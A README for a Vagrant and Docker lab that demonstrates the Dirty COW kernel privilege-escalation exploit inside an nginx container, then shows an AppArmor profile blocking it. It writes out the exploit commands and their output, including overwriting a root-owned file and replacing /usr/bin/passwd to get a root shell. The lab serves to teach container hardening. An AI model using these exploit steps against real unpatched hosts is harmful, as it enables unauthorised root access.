Prerequisites:
- Vagrant installed

First let's start with the why ? This POC is going to use the dirtyc0w kernel exploit to do privilege escalation inside the standard nginx image. The only modifications to the image I made is added a non root user lovingly called hacker to the exploit files. To see the make up of the image please see the Dockerfile. Now for the most important part of the POC, how to mitigate the attack without patching with an AppArmor profile. Showing the importance of correct container security. With a modified version of the exploit I have been able to escape the container. I did not want to open source this as it is malicious, but the same AppArmor profile was also able to mitigate that vulnerability without any changes.

To build the environment we will build a Vagrant box that is running a Ubuntu 16.04 server, with kernel version 4.4.0-21-generic.This is to mimic a normal server running in either a cloud environment or bare metal. On the server we will install the latest version of Docker (1.12.3) and set the daemon with the following configuration -H tcp://127.0.0.1:4243 -H unix:///var/run/docker.sock --ip-forward=true --iptables=true --ip-masq=true\">>/etc/default/docker These are some default security settings that make sure the daemon is not accessible outside the host etc. Then we copy the AppArmor profile to the host OS in the following location /etc/apparmor.d/containers/docker-nginx We will run apparmor_parser to make sure we have a valid profile. We will then build the image with a standard Docker build command docker build -t scottyc/dirtyc0w . Then run up our container first container without AppArmor with the following command docker run -p 80:80 -d --name nginx scottyc/dirtyc0w we will then run the exploits with the user hacker we created in the Docker image and we will firstly write to a file root owns as the user hacker then we will gain root access. We will then kill that container and from the very same image we will spawn a second container using the following command docker run --security-opt "apparmor=docker-nginx" -p 80:80 -d --name nginx scottyc/dirtyc0w. This time we will apply our AppArmor profile that will stop the exploits from working.

To make this as simple as possible I have automated most of the heavy lifting leaving the user to run only a few command. To run the POC please follow the follwoing instructions.

Firstly git clone xxxx && cd xxxx Then run up the environment with the command

vagrant up

Once the server is built, we will ssh into it

vagrant ssh

change to the root user

sudo -i

The first container should be running as part of the build process, we can check this with

docker ps

You should get something like

CONTAINER ID        IMAGE               COMMAND                  CREATED             STATUS              PORTS                         NAMES
db86f1c04483        scottyc/dirtyc0w    "nginx -g 'daemon off"   22 seconds ago      Up 19 seconds       0.0.0.0:80->80/tcp, 443/tcp   nginx

Now we can log on as the hacker

docker exec -it -u hacker nginx bash

In the directory we are logged into we have the following files

drwxrwxrwt  2 root root  4096 Nov  7 11:10 .
drwxr-xr-x 41 root root  4096 Nov  7 11:10 ..
-rwxr-xr-x  1 root root 11496 Nov  7 04:52 cowroot
-rwxr-xr-x  1 root root  9880 Nov  7 04:52 dirtyc0w
-r-----r--  1 root root    32 Nov  7 02:28 foo

If we cat the file foo we see

this content is created by root

We will now exploit the file foo

./dirtyc0w foo hacker-was-here

It will print out the following to the terminal

mmap 7fd0facf4000

madvise 0

procselfmem 1500000000

Then we will cat foo again

hacker-was-here created by root

check the permissions again

drwxrwxrwt  2 root root  4096 Nov  7 11:10 .
drwxr-xr-x 41 root root  4096 Nov  7 11:10 ..
-rwxr-xr-x  1 root root 11496 Nov  7 04:52 cowroot
-rwxr-xr-x  1 root root  9880 Nov  7 04:52 dirtyc0w
-r-----r--  1 root root    32 Nov  7 02:28 foo

The permissions have not changed. Now let's gain root access

./cowroot

It will print the following

DirtyCow root privilege escalation
Backing up /usr/bin/passwd to /tmp/bak
Size of binary: 54192
Racing, this may take a while..
thread stopped
thread stopped
/usr/bin/passwd overwritten
Popping root shell.
Don't forget to restore /tmp/bak

You will have root access to the container

Now exit the container with exit and exit again. Then remove it with docker rm -f nginx

Now let's run our secure container

docker run --security-opt "apparmor=docker-nginx" -p 80:80 -d --name nginx scottyc/dirtyc0w

again we will run

docker exec -it -u hacker nginx bash

Then run the exploits ./dirtyc0w foo hacker-was-here and ./cowroot The files will run but no exploits. For fun try to ping 8.8.8.8

Exit back to your host machines terminal and issue vagrant destroy